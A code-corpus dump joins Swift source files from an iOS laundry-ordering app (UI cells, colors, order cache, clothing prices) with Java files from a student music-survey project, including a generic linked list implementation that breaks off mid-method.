override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
self.selectionStyle = .None
self.addSubview(totalPriceLabel)
totalPriceLabel.textColor = UIColor.priceRed()
totalPriceLabel.font = UIFont(name: "Heiti SC", size: 17)
totalPriceLabel.sizeToFit()
totalPriceLabel.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(self)
make.trailing.equalTo(self).offset(-15)
}
self.addSubview(nameLabel)
nameLabel.font = UIFont(name: "Heiti SC", size: 15)
nameLabel.sizeToFit()
nameLabel.text = "费用总计:"
nameLabel.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(self)
make.trailing.equalTo(totalPriceLabel.snp_leading).offset(-5)
}
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
}
<file_sep>//
// UIColorExtension.swift
// maiziSplash
//
// Created by zhan on 15/11/18.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
extension UIColor{
//app中的#f4f4f4灰色背景
class func grayBackgroundColor() -> UIColor {
return UIColor(red: 244 / 250, green: 244 / 250, blue: 244 / 250, alpha: 1.0)
}
//app中#dddddd边框线条色
class func borderColor() -> UIColor {
return UIColor(red: 221 / 255, green: 221 / 255, blue: 221 / 255, alpha: 1.0)
}
//app中的#28ccfc蓝色
class func mianBlue() -> UIColor {
return UIColor(red: 40 / 255, green: 204 / 255, blue: 252 / 255, alpha: 1.0)
}
//app中价格字体颜色#ff4d0f
class func priceRed() -> UIColor {
return UIColor(red: 255 / 255, green: 77 / 255, blue: 15 / 255, alpha: 1.0)
}
}
<file_sep>//
// File.swift
// maiziSplash
//
// Created by zhan on 15/11/5.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
class orderInfo {
var orderId: String?
var orderAmount: Int?
var income: Int?
var time: String?
}
<file_sep>//
// ClothesOrder.swift
// maiziSplash
//
// Created by zhan on 15/11/12.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
class ClothesOrder {
var clothes: ClothesInfo
var clothesNumber: Int
init(clothes: ClothesInfo,clothesNumber: Int) {
self.clothes = clothes
self.clothesNumber = clothesNumber
}
}
<file_sep>//
// MoreViewCell.swift
// maiziSplash
//
// Created by zhan on 15/11/11.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class MoreViewCell: UITableViewCell {
var iconImageView = UIImageView(frame: CGRectZero)
var label = UILabel(frame: CGRectZero)
var separateLine = UIView(frame: CGRectZero)
var hintImageView = UIImageView(frame: CGRectZero)
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupUI()
super.selectionStyle = .None
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
//MARK: 设置UI
func setupUI() {
//设置iconImageView的约束
self.addSubview(iconImageView)
iconImageView.snp_makeConstraints { (make) -> Void in
make.leading.top.bottom.equalTo(self).inset(15)
make.width.equalTo(iconImageView.snp_height)
}
//设置label的约束
self.addSubview(label)
label.sizeToFit()
label.font = UIFont(name: "Heiti SC", size: 15)
label.snp_makeConstraints { (make) -> Void in
make.leading.equalTo(iconImageView.snp_trailing).offset(10)
make.top.bottom.equalTo(self)
}
//设置separateLine的约束
self.addSubview(separateLine)
separateLine.backgroundColor = UIColor.borderColor()
separateLine.snp_makeConstraints { (make) -> Void in
make.leading.trailing.top.equalTo(self)
make.height.equalTo(1.0)
}
//设置hintImageView的约束
self.addSubview(hintImageView)
hintImageView.image = UIImage(named: "11-1")
hintImageView.snp_makeConstraints { (make) -> Void in
make.centerY.equalTo(iconImageView)
make.trailing.equalTo(self.snp_trailingMargin).offset(-5)
make.top.bottom.equalTo(self).inset(20)
make.width.equalTo(hintImageView.snp_height).multipliedBy(0.583)
}
}
}
<file_sep>//
// orderCache.swift
// maiziSplash
//
// Created by zhan on 15/11/12.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
class OrderCache {
//当前类型的一个单例
class var sharedInstance: OrderCache {
struct Static {
static var oneToken: dispatch_once_t = 0
static var instance: OrderCache? = nil
}
dispatch_once(&Static.oneToken) { () -> Void in
Static.instance = OrderCache()
}
return Static.instance!
}
//MARK: - 用于存储订单信息的数组
var orderArray: [ClothesOrder] = []
//MARK: - 新增订单
func addOrder(order: ClothesOrder) {
//如果数组为空则直接添加订单信息
if orderArray.count == 0 {
orderArray.append(order)
}else{
//遍历数组,如果数组中有同类衣服的则修改数量,否则给数组添加元素
var haveSame = false
for i in 0..<orderArray.count {
if order.clothes == orderArray[i].clothes {
orderArray[i].clothesNumber += order.clothesNumber
haveSame = true
break
}
}
//当遍历完成未发现有同类衣服,则添加新的元素进入数组
if !haveSame {
orderArray.append(order)
}
}
}
}
<file_sep>//
// CouponCell.swift
// maiziSplash
//
// Created by zhan on 15/11/14.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class CouponCell: UITableViewCell {
var couponImageView = UIImageView(frame: CGRectZero)
override func awakeFromNib() {
super.awakeFromNib()
}
override func setSelected(selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
}
override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setUI()
self.selectionStyle = .None
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func setUI() {
self.backgroundColor = UIColor.grayBackgroundColor()
self.addSubview(couponImageView)
couponImageView.snp_makeConstraints { (make) -> Void in
make.top.bottom.equalTo(self).inset(10)
make.centerY.centerX.equalTo(self)
make.width.equalTo(couponImageView.snp_height).multipliedBy(3.7)
}
}
}
<file_sep>//
// dailyIncome.swift
// maiziSplash
//
// Created by zhan on 15/11/5.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
class dailyInfo {
var date: String?
var orders: [orderInfo]?
}
<file_sep>//
// addShoopingCartViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/7.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class addShoopingCartViewController: UIViewController {
var clothesInfo: ClothesInfo?
var clothesNumbel: Int = 1
@IBOutlet var imageView: UIImageView!
@IBOutlet var clothesNameLabel: UILabel!
@IBOutlet var priceLabel: UILabel!
@IBOutlet var numbelLabel: UILabel!
@IBOutlet var minimissNumbelButton: UIButton!
@IBOutlet var addNumbelButton: UIButton!
@IBOutlet var addShoopingCartButton: UIButton!
@IBOutlet var unitLabel: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
setUI()
initialize()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 设置UI
func setUI(){
clothesNameLabel.sizeToFit()
priceLabel.sizeToFit()
minimissNumbelButton.setBackgroundImage(UIImage(named: "2-2-0"), forState: UIControlState.Highlighted)
addNumbelButton.setBackgroundImage(UIImage(named: "4-4"), forState: .Highlighted)
addShoopingCartButton.setBackgroundImage(UIImage(named: "5-5"), forState: .Highlighted)
numbelLabel.text = "1"
numbelLabel.backgroundColor = UIColor.grayBackgroundColor()
numbelLabel.layer.borderColor = UIColor.borderColor().CGColor
numbelLabel.layer.borderWidth = 1.0
}
//MARK: 用传入的数据对界面进行初始化
func initialize(){
imageView.image = clothesInfo!.clothesImage
clothesNameLabel.text = clothesInfo!.clothesName
priceLabel.text = "¥\(clothesInfo!.price)"
if clothesInfo?.clothesType == Type.bag {
unitLabel.text = "/袋"
imageView.layer.borderWidth = 1.0
imageView.layer.borderColor = UIColor(red: 0,
green: 194 / 255,
blue: 171 / 255,
alpha: 1.0).CGColor
}else{
unitLabel.text = "/件"
imageView.layer.borderWidth = 1.0
imageView.layer.borderColor = UIColor.mianBlue().CGColor
}
}
//MARK: - “添加到洗衣篮”点击事件
@IBAction func addShoopingButtonClick(sender: UIButton) {
self.dismissViewControllerAnimated(true, completion: nil)
//将订单信息传到单例的数组中
OrderCache.sharedInstance.addOrder(ClothesOrder(clothes: clothesInfo!, clothesNumber: clothesNumbel))
}
//MARK: - “减小”按钮的点击事件
@IBAction func minimiissNumbelButtonClick(sender: UIButton) {
if clothesNumbel > 1{
numbelLabel.text = "\(--clothesNumbel)"
}else{
numbelLabel.text = "\(clothesNumbel)"
}
}
//MARK: - "增加"按钮的点击事件
@IBAction func addNumbelButtonClick(sender: UIButton) {
numbelLabel.text = "\(++clothesNumbel)"
}
//MARK: - 点击背景的事件
@IBAction func backgroundClick(sender: UIControl) {
self.dismissViewControllerAnimated(true, completion: nil)
}
}
<file_sep>//
// incomeInfo.swift
// maiziSplash
//
// Created by zhan on 15/11/5.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
class incomeInfo {
var yearlyIncome: Int?
var balancing: Bool?
var baseSalary: Int?
var dailyIncome: [dailyInfo]?
}
<file_sep>//
// HomePageViewController.swift
// maiziSplash
//
// Created by 湛礼翔 on 15/10/18.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class HomePageViewController: UIViewController {
@IBOutlet var scrollView: UIScrollView!
@IBOutlet var pageControl: UIPageControl!
override func viewDidLoad() {
super.viewDidLoad()
setUI()
loadAdData()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: - 请求网络数据
func loadAdData() {
HttpTool.sharedInstance.getAdInfo { (urls) -> Void in
self.createImageView(urls)
}
}
//MARK: - 构建ImageView
func createImageView(urls: [String]) {
//设定contentSize
scrollView.contentSize = CGSize(width: screenWidth * CGFloat(urls.count),
height: scrollView.frame.height)
//设定pageControl
pageControl.numberOfPages = urls.count
//填充scrollView
for i in 0 ..< urls.count{
let imageView = UIImageView(frame: CGRect(x: screenWidth*CGFloat(i),
y: 0,
width: screenWidth,
height: scrollView.frame.height))
scrollView.addSubview(imageView)
imageView.startLoader()
imageView.setImageWithURL(NSURL(string: urls[i]), placeholderImage: nil, options: [.CacheMemoryOnly,.RefreshCached] , progress: { (r, t) -> Void in
imageView.updateImageDownloadProgress(CGFloat(r)/CGFloat(t))
}, completed: { (_, _, _) -> Void in
imageView.reveal()
})
}
}
//MARK: 对UI进行设置
func setUI() {
//设定scrollView
scrollView.showsHorizontalScrollIndicator = false
scrollView.showsVerticalScrollIndicator = false
scrollView.bounces = false
scrollView.pagingEnabled = true
scrollView.delegate = self
}
//MARK: - “件洗”按钮的点击事件
@IBAction func garmentButtonClick(sender: UIButton) {
}
//MARK: - "袋洗"按钮的点击事件
@IBAction func bagButtonClick(sender: UIButton) {
let vc = self.storyboard?.instantiateViewControllerWithIdentifier("addShoopingCartViewController") as! addShoopingCartViewController
vc.modalPresentationStyle = .Custom
vc.clothesInfo = ClothesInfo(clothesName: "袋洗", season: Season.none)
self.navigationController?.presentViewController(vc, animated: true, completion: { () -> Void in
vc.view.superview?.backgroundColor = UIColor(red: 0, green: 0, blue: 0, alpha: 0.5)
})
}
}
//MARK: - UIScrollViewDelegate
extension HomePageViewController: UIScrollViewDelegate {
func scrollViewDidScroll(scrollView: UIScrollView) {
let pageNumber = Int(fabs(scrollView.contentOffset.x / screenWidth))
pageControl.currentPage = pageNumber
}
}<file_sep>//
// ClothesCell.swift
// maiziSplash
//
// Created by zhan on 15/11/6.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
class ClothesCell: UICollectionViewCell {
@IBOutlet var clothesImageView: UIImageView!
@IBOutlet var clothesNameLabel: UILabel!
@IBOutlet var priceLabel: UILabel!
@IBOutlet var lineView: UIView!
}
<file_sep>//
// MoreViewController.swift
// maiziSplash
//
// Created by zhan on 15/11/11.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import UIKit
import SnapKit
class MoreViewController: UIViewController {
//dataSource
var icons = [UIImage(named: "5-1-1"),
UIImage(named: "5-1-2"),
UIImage(named: "5-1-3"),
UIImage(named: "5-1-4"),
UIImage(named: "5-1-5"),
UIImage(named: "5-1-6")]
var labelText = ["联系客服",
"常见问题",
"服务范围",
"关于我们",
"用户协议",
"意见反馈"]
private var navigationBar = UIView(frame: CGRectZero)
private var navigationTitle = UILabel(frame: CGRectZero)
private var tableView = UITableView(frame: CGRectZero)
override func viewDidLoad() {
super.viewDidLoad()
setupUI()
tableView.delegate = self
tableView.dataSource = self
//在tableView中注册一个cell
tableView.registerClass(MoreViewCell.self, forCellReuseIdentifier: "MoreViewCell")
//设置tableViewCell的分割方式
tableView.separatorStyle = .None
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
//MARK: 设置UI
func setupUI() {
self.view.backgroundColor = UIColor.grayBackgroundColor()
// 设置navigationBar的约束
self.view.addSubview(navigationBar)
navigationBar.backgroundColor = UIColor.mianBlue()
navigationBar.snp_makeConstraints { (make) -> Void in
make.leading.trailing.top.equalTo(self.view)
make.height.equalTo(64)
}
//设置navigationTitle的约束
navigationBar.addSubview(navigationTitle)
navigationTitle.text = "更多"
navigationTitle.font = UIFont(name: "Heiti SC", size: 17)
navigationTitle.textColor = UIColor.whiteColor()
navigationTitle.sizeToFit()
navigationTitle.snp_makeConstraints { (make) -> Void in
make.centerX.equalTo(self.view)
make.centerY.equalTo(navigationBar).offset(10)
}
self.view.addSubview(tableView)
tableView.snp_makeConstraints { (make) -> Void in
make.leading.trailing.bottom.equalTo(self.view)
make.top.equalTo(navigationBar.snp_bottom)
}
}
}
//MARK: - UITableViewDelegate
extension MoreViewController: UITableViewDelegate {
func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
return screenWidth * 100 / 640
}
}
//MARK: - UITableViewDataSource
extension MoreViewController: UITableViewDataSource {
func numberOfSectionsInTableView(tableView: UITableView) -> Int {
return 1
}
func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return icons.count
}
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCellWithIdentifier("MoreViewCell") as! MoreViewCell
cell.iconImageView.image = icons[indexPath.row]
cell.label.text = labelText[indexPath.row]
return cell
}
}
<file_sep>//
// ClothesType.swift
// maiziSplash
//
// Created by zhan on 15/11/6.
// Copyright © 2015年 湛礼翔. All rights reserved.
//
import Foundation
import UIKit
//定义一个衣服类型的枚举,包含单件和袋洗
enum Type {
case single
case bag
}
//定义一个衣服季节的枚举
enum Season {
case springAndFall
case summer
case winter
case leather
case none
}
struct ClothesInfo {
var clothesName: String!
var price: Int {
switch clothesName {
//春秋
case "T恤":
return 8
case "衬衫":
return 8
case "短风衣":
return 12
case "长风衣":
return 18
case "西装":
return 20
case "袋洗":
return 68
//夏装
case "鸭舌帽":
return 10
case "短衬衫":
return 8
case "短裙":
return 8
case "长裙":
return 10
case "套裙":
return 12
case "裤装":
return 10
//冬装
case "保暖衬衫":
return 12
case "风衣":
return 15
case "狐狸毛领":
return 15
case "毛外套":
return 20
case "棉服":
return 20
case "呢子大衣":
return 30
case "睡袍":
return 30
case "围巾":
return 10
case "羽绒服":
return 25
//皮衣
case "长款皮衣":
return 40
case "短款皮衣":
return 30
//袋洗
case "袋洗":
return 68
default:
return 0
}
}
var clothesImage: UIImage? {
switch clothesName {
//春秋
case "T恤":
return UIImage(named: "2-3")
case "衬衫":
return UIImage(named: "3-3")
case "短风衣":
return UIImage(named: "4-3")
case "长风衣":
return UIImage(named: "5-3")
case "西装":
return UIImage(named: "6-0")
case "T恤":
return UIImage(named: "2-3")
//夏装
case "鸭舌帽":
return UIImage(named: "image10")
case "短衬衫":
return UIImage(named: "image11")
case "短裙":
return UIImage(named: "x-3短群")
case "长裙":
return UIImage(named: "x-4长裙")
case "套裙":
return UIImage(named: "x-5套裙")
case "裤装":
return UIImage(named: "x-6裤装")
//冬装
case "保暖衬衫":
return UIImage(named: "d-1保暖衬衫")
case "风衣":
return UIImage(named: "d-2风衣")
case "狐狸毛领":
return UIImage(named: "d-3狐狸毛领")
case "毛外套":
return UIImage(named: "d-4毛外套")
case "棉服":
return UIImage(named: "d-5棉服")
case "呢子大衣":
return UIImage(named: "d-6呢子大衣")
case "睡袍":
return UIImage(named: "d-7睡袍")
case "围巾":
return UIImage(named: "d-8围巾")
case "羽绒服":
return UIImage(named: "d-9羽绒服")
//皮衣
case "长款皮衣":
return UIImage(named: "image16")
case "短款皮衣":
return UIImage(named: "image12")
//袋洗
case "袋洗":
return UIImage(named: "6-2")
default:
return nil
}
}
var clothesType: Type {
if clothesName == "袋洗" {
return Type.bag
}else {
return Type.single
}
}
var clothesSeason: Season
init(clothesName: String,season: Season) {
self.clothesName = clothesName
self.clothesSeason = season
}
}
| 7b9e2f08bab7f85a19d637c3f86192801aad01e9 | [
"Swift",
"Ruby",
"Markdown"
] | 33 | Swift | SeanZhan/maiziSplash | cab18eef468fdeaba832277ee4d381efeefc5994 | 7963343ced20802c2b2be214a4ad71aa48d32225 |
refs/heads/master | <repo_name>EugenePopov/watch-crawler<file_sep>/src/test/java/com/eugene/watchcrawler/WatchCrawlerApplicationTests.java
package com.eugene.watchcrawler;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class WatchCrawlerApplicationTests {
@Test
void contextLoads() {
}
}
| 415690ad2a360d7dc7a26bed3d7ce8745b21f719 | [
"Java"
] | 1 | Java | EugenePopov/watch-crawler | 6ee13effc2a62f4c80fd0de63ed5a763ed422653 | 21c2dbabbc2f48da88e64e128ada8a8e4e0108d2 |
refs/heads/master | <repo_name>kukicado/mypwa<file_sep>/src/app/app.component.ts
import { Component } from '@angular/core';
import { HttpClient } from '@angular/common/http';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
apiUrl = 'https://wtg-apidayssanfrancisco.sandbox.auth0-extend.com/pwa';
notTodo: string;
notTodos: any;
constructor(private http: HttpClient) {
this.getNotTodos();
}
getNotTodos() {
this.http.get(this.apiUrl).subscribe((data) => {
this.notTodos = data;
console.log(this.notTodos);
});
}
addNotTodo(){
this.http.post(this.apiUrl, {item: this.notTodo}).subscribe((data) => {
this.notTodo = '';
this.getNotTodos();
alert('Success');
});
}
cancelNotTodo(){
this.notTodo = '';
}
}
| 6c10b86930a6da3ab14b09f2c7bc850d958bd629 | [
"TypeScript"
] | 1 | TypeScript | kukicado/mypwa | d34a8d11a71b2288741caf6f9b6cca297509dbda | 08fcc26da44674f461cdc9bb74a3be221e7695d8 |
refs/heads/main | <repo_name>KodingNYoung/tictactoe<file_sep>/src/Components/Cell.js
import React from 'react'
const Cell = ({showStatus, value, disabled}) => {
return (
<button
className="cell"
onClick= {showStatus}
disabled={disabled}
>
{value}
</button>
);
}
// .bind(this.props.value)
export default Cell
| a6b8e76165692ccf1fce18e567bf96f0dda88fa3 | [
"JavaScript"
] | 1 | JavaScript | KodingNYoung/tictactoe | ed5c1b2ee7b2f2a10eed3da10e659ed53cc7e710 | 88f02b0542966540b86439c1d70563213c48b3ad |
refs/heads/master | <repo_name>ntq2503/Music-Survey-Display<file_sep>/src/prj5/Input.java
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME> 9060-29058
package prj5;
import java.io.FileNotFoundException;
import bsh.ParseException;
/**
* main method
*
* @author <NAME>,
* @version 11.8.2018
*
*/
public class Input {
// ----------------------------------------------------------
/**
* Creates new Input object.
* Intentionally left blank
*/
public Input() {
// intentionally left blank
}
// ----------------------------------------------------------
/**
* Main argument to run program
* @throws FileNotFoundException
* @throws ParseException
*/
public static void main(String args[]) throws ParseException, FileNotFoundException {
@SuppressWarnings("unused")
FileReader reader = new FileReader("Input/SongList.csv", "Input/MusicSurveyData.csv");
}
// ----------------------------------------------------------
/**
* Method to read input files to run in main program.
* Needs to read a csv file and output information.
*
* @param survey
* survey file input
*/
public static void FileIO(String survey) {
}
}
<file_sep>/README.md
A group project that creates an program that displays songs' popularity among groups of students with different demographics.
<file_sep>/src/prj5/LinkedList.java
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME> & <NAME> (m0ri3) 9060-29058
package prj5;
import java.util.Iterator;
import java.util.NoSuchElementException;
/**
* Linked list used to store objects of song and student.
* Construction of class starts with Iterator ( @see LinkedListIterator)
* than Node ( @see Node )
* than linked list ( @see LinkedList)
*
*
* @author <NAME> (m0ri3)
* @version 2018.11.11
* @param <E>
* linked list is generic type
*/
public class LinkedList<E> implements LinkedListADT<E> {
// =========================Iterator Start=========================
/**
* Iterator for linked list
*
* @author <NAME> (m0ri3)
* @version 2018.11.11
* @param <A>
*/
private class LinkedListIterator<A> implements Iterator<E> {
private Node<E> curNode;
// ----------------------------------------------------------
/**
* Creates a new DLListIterator object
*/
public LinkedListIterator() {
curNode = head;
}
// ----------------------------------------------------------
/**
* Checks if there are more elements in the list
*
* @return true if there are more elements in the list
*/
@Override
public boolean hasNext() {
return !curNode.next().equals(tail);
}
// ----------------------------------------------------------
/**
* Iterates to next node than return value.
*
* @return the next value
* @throws NoSuchElementException
* if there are no nodes left in the list
*/
@Override
public E next() {
curNode = curNode.next();
if (curNode.equals(tail)) {
throw new NoSuchElementException("No more elements");
}
return curNode.data();
}
// ----------------------------------------------------------
/**
* Removes the last object returned with next() from the list
*
* @throws IllegalStateException
* if next has not been called yet
* and if the element has already been removed
*/
@Override
public void remove() {
Node<E> previous = curNode.prev();
Node<E> next = curNode.next();
if (curNode.equals(head) || previous.next().equals(next)) {
throw new IllegalStateException("The element can't be removed");
}
previous.setNext(next);
next.setPrev(previous);
size--;
}
}
// =========================Iterator End=========================
// =========================Node-Start=========================
/**
* Private node class to store student and song information.
*
* @author <NAME> (m0ri3)
* @version 2018.11.11
* @param <T>
*/
private class Node<T> {
// Fields----------------------------------------------------
private Node<T> next;
private Node<T> prev;
private T data;
// ----------------------------------------------------------
/**
* Default node constructor
* sets all to null
*/
public Node() {
this(null, null, null);
}
// ----------------------------------------------------------
/**
* Node constructor
*
* @param prev
* sets previous node in list
* @param next
* sets next node in list
* @param data
* data to be stored Generic type
*/
public Node(Node<T> prev, Node<T> next, T data) {
this.next = next;
this.prev = prev;
this.data = data;
}
// ----------------------------------------------------------
/**
* Getter for data.
*
* @return
* Generic data type in node
*/
public T data() {
return data;
}
// ----------------------------------------------------------
/**
* Getter for next node
*
* @return
* returns next node
*/
public Node<T> next() {
return next;
}
// ----------------------------------------------------------
/**
* Getter for prev node.
*
* @return
* return prev node
*/
public Node<T> prev() {
return prev;
}
// ----------------------------------------------------------
/**
* Setter for next node
*
* @param next
* next node to set for link
*/
public void setNext(Node<T> next) {
this.next = next;
}
// ----------------------------------------------------------
/**
* Sett for prev node
*
* @param prev
* prev node to set for link
*/
public void setPrev(Node<T> prev) {
this.prev = prev;
}
}
// =========================Node End=========================
// =====================Linked List Star=====================
// Fields----------------------------------------------------
private int size;
private Node<E> head;
private Node<E> tail;
// ----------------------------------------------------------
/**
* Default constructor for linked list
* sets head and tail to a null node
* sets size of list to 3
* links head and tail
*/
public LinkedList() {
this.size = 0;
this.head = new Node<E>();
this.tail = new Node<E>();
head.setNext(tail);
tail.setPrev(head);
}
@Override
public boolean add(E e) {
if (e == null) {
return false;
}
Node<E> newNode = new Node<E>(head, head.next(), e);
head.next().setPrev(newNode);
head.setNext(newNode);
size++;
return true;
}
// ----------------------------------------------------------
/**
* To complement interface uses @see add
*
* @param e
* Generic type to be added.
* @return
* returns false if <E>e is null
* returns true if Node is added.
*/
public boolean addFirst(E e) {
return add(e);
}
// ----------------------------------------------------------
/**
* Adds generic type to linked list
* Adds to back of linked list.
*
* @param e
* Generic type to be added.
* @return
* returns false if <E>e is null
* returns true if Node is added.
*/
public boolean addLast(E e) {
if (e == null) {
return false;
}
Node<E> newNode = new Node<E>(tail.prev(), tail, e);
tail.prev().setNext(newNode);
tail.setPrev(newNode);
size++;
return true;
}
// ----------------------------------------------------------
/**
* Adds node after given index number.
*
* @precondition index cannot be larger than list size
*
* @param index
* index to look for for add
* @param e
* Generic type to ads.
* @throws IndexOutOfBoundsException
*/
@Override
public void add(int index, E e) throws IndexOutOfBoundsException {
if (index >= size) {
throw new IndexOutOfBoundsException(
"Index is larger than list size");
}
Node<E> prevNode = head.next();
for (int i = 0; i < index; i++) {
prevNode = prevNode.next();
}
Node<E> nextNode = prevNode.next();
Node<E> newNode = new Node<E>(prevNode, nextNode, e);
nextNode.setPrev(newNode);
prevNode.setNext(newNode);
size++;
}
// ----------------------------------------------------------
/**
* resets the entire list to default constructor
*
* @see LinkedList
*/
@Override
public void clear() {
this.size = 0;
this.head = new Node<E>(null, tail, null);
this.tail = new Node<E>(head, null, null);
}
// ----------------------------------------------------------
/**
* Sees if the linked list contains the element
* Uses helper method @see findNode
*
* @param e
* Generic type to search for.
*/
@Override
public boolean contains(E e) {
return findNode(e) != null;
}
// ----------------------------------------------------------
/**
* Helper method for contains. Searches the list for node
*
* @param e
* Generic to look for that was passed in @see contains
* @return
* returns node if generic data found
* returns null if no matching node found
*/
private Node<E> findNode(E e) {
Node<E> curNode = head.next();
while (!curNode.equals(tail)) {
if (curNode.data().equals(e)) {
return curNode;
}
curNode = curNode.next();
}
return null;
}
// ----------------------------------------------------------
/**
* Returns the node at a given index
*
* @precondition index not larger than size of list
* @param index
* the index spot to look at in the list
* @return
* return node if node at index
* return null if index larger than list
*
*/
@Override
public E get(int index) {
if (index >= size) {
return null;
}
Node<E> curNode = head.next();
for (int i = 0; i < index; i++) {
curNode = curNode.next();
}
return curNode.data();
}
// ----------------------------------------------------------
/**
* Searches for index of given generic type within node data
*
* @param e
* Generic type to search for
* @return
* returns index of data looked for
* returns -1 if not found
*/
@Override
public int indexOf(E e) {
Node<E> curNode = head.next;
int index = 0;
while (!curNode.equals(tail)) {
if (curNode.data().equals(e)) {
return index;
}
curNode = curNode.next();
index++;
}
return -1;
}
// ----------------------------------------------------------
/**
* checks if list is empty
*/
@Override
public boolean isEmpty() {
return this.size == 0;
}
// ----------------------------------------------------------
/**
* Object Creation for new iterator.
*/
@Override
public Iterator<E> iterator() {
return new LinkedListIterator<E>();
}
// ----------------------------------------------------------
/**
* Default remove to remove front of list
*
* @see remove(Node<E> node)
* removes actual node
*/
@Override
public boolean remove() {
return remove(head.next());
}
// ----------------------------------------------------------
/**
* Removes data type e after finding location
* uses findNode to find data location
*
* @see findNode
* @see remove(Node<E> node)
* removes actual node
* @param e
* Generic data type to search for
* @return
* false if node is null or does not exist
* true if node is removed
*/
@Override
public boolean remove(E e) {
Node<E> node = findNode(e);
if (node == null) {
return false;
}
remove(node);
return true;
}
// ----------------------------------------------------------
/**
* Removes data type e at location index
* uses findNode to find data location
*
* @see remove(Node<E> node)
* helper method that actually removes node
* @precondition index cannot be larger than list size
* @param index
* index to remove
* @return
* false if node is null or does not exist
* true if node is removed
* @throws IndexOutOfBoundException
*/
@Override
public E remove(int index) throws IndexOutOfBoundsException {
if (index >= size) {
throw new IndexOutOfBoundsException(
"Index is larger than list size");
}
Node<E> curNode = head.next();
for (int i = 0; i < index; i++) {
curNode = curNode.next();
}
remove(curNode);
return curNode.data();
}
// ----------------------------------------------------------
/**
* Helper method that does the actual removal of currNode
* Decrements size of list
*
* @param node
* Node to be removed
* @return
* false if list is empty
* true if node is removed
*/
private boolean remove(Node<E> node) {
if (isEmpty()) {
return false;
}
node.prev().setNext(node.next());
node.next().setPrev(node.prev());
size--;
return true;
}
// ----------------------------------------------------------
/**
* Replaces the node at the current index
*
* @precondition index cannot be larger than list size
* @see add(index, newData)
* Does actual adding of node
* @see remove(index)
* Passes to remove helper to remove node
* @param index
* index to be replaced
* @param newData
* new data to be inserted at index
* @return
* data that was replaced
* @throws IndexOutOfBoundsException
*/
@Override
public E replace(int index, E newData) throws IndexOutOfBoundsException {
if (index >= size) {
throw new IndexOutOfBoundsException(
"Index is larger than list size");
}
add(index, newData);
E removedEntry = remove(index);
return removedEntry;
}
// ----------------------------------------------------------
/**
* getter for list size
*
* @return
* size field for list
*/
@Override
public int size() {
return this.size;
}
// ----------------------------------------------------------
/**
* Puts node data into an array.
*
* @return
* returns array with node data.
*/
@Override
public Object[] toArray() {
Object[] array = new Object[size()];
Node<E> curNode = head;
for (int i = 0; i < size(); i++) {
array[i] = curNode.data();
curNode = curNode.next();
}
return array;
}
// ----------------------------------------------------------
/**
* Puts node data into string format
* String format ex: [1, 2, 3]
*
* @return
* returns string of data
*/
@Override
public String toString() {
StringBuilder builder = new StringBuilder("[");
if (!isEmpty()) {
Node<E> currNode = head.next();
while (currNode != tail) {
E element = currNode.data();
builder.append(element.toString());
if (currNode.next != tail) {
builder.append(", ");
}
currNode = currNode.next();
}
}
builder.append("]");
return builder.toString();
}
// ----------------------------------------------------------
/**
* Checks if the passed Object is a LinkedList that has the
* same elements in the same order.
*
* @param obj
* The Object to check equality with this.
* @return True if the passed Object and this are equal by value.
*/
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (obj == this) {
return true;
}
if (obj.getClass() != this.getClass()) {
return false;
}
@SuppressWarnings("unchecked")
LinkedList<E> cast = (LinkedList<E>)obj;
if (cast.size() != size) {
return false;
}
Iterator<E> thisIt = this.iterator();
Iterator<E> castIt = cast.iterator();
E thisCurrentElement;
E castCurrentElement;
while (thisIt.hasNext()) {
thisCurrentElement = (E)thisIt.next();
